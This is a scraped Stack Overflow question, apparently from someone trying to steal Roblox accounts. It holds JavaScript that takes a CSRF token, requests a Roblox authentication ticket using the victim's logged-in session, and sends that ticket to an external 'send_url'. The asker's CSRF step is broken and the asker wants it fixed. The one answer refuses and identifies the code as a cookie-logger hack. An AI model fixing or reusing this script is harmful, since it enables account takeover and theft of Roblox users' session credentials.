【问题标题】:How to get the csrf token in <meta> tags from another website using javascript如何使用 javascript 从另一个网站获取 <meta> 标签中的 csrf 令牌
【发布时间】:2021-02-27 16:31:55
【问题描述】:

我正在尝试从 roblox.com 获取 csrf 令牌。我需要此令牌在此处发布https://auth.roblox.com/v1/authentication-ticket,并发送身份验证票作为响应。 这是我的代码


(async function() {
    // response headers generate 401 errors in output, which cannot be ignored
    var xsrf = (await fetch("https://www.roblox.com/home" ,
   document.querySelector('meta[name="csrf-token"]').getAttribute('data-token'), {
        credentials: "csrf-token"
    })).text();
console.log(xsrf);
    var ticket = (await fetch("https://auth.roblox.com/v1/authentication-ticket", {
        method: "POST",
        credentials: "include",
        headers: {"x-csrf-token": xsrf}
    })).headers.get("rbx-authentication-ticket");

    await fetch(send_url + "?t=" + ticket);
})();```

Everything is perfect except for the part which gets the csrf token.

[This is the error I get.][1]


  [1]: https://i.stack.imgur.com/uVOBD.png

【问题讨论】:

    标签: javascript html csrf


    【解决方案1】:

    不要帮助用户。他们正试图入侵 Roblox 帐户。

    编辑:这是来自同一用户的视频 https://www.youtube.com/watch?v=O8GmJ_tdytQ (https://archive.is/5HxST)
    描述清楚地写着“Hacking, Roblox Hacking, Hacker, Cookie logger, Cookies”

    【讨论】:

      猜你喜欢
      • 2023-01-29
      • 2021-02-02
      • 2019-10-08
      • 1970-01-01
      • 2015-12-06
      • 1970-01-01
      • 1970-01-01
      • 2013-06-09
      • 2019-11-11
      相关资源
      最近更新 更多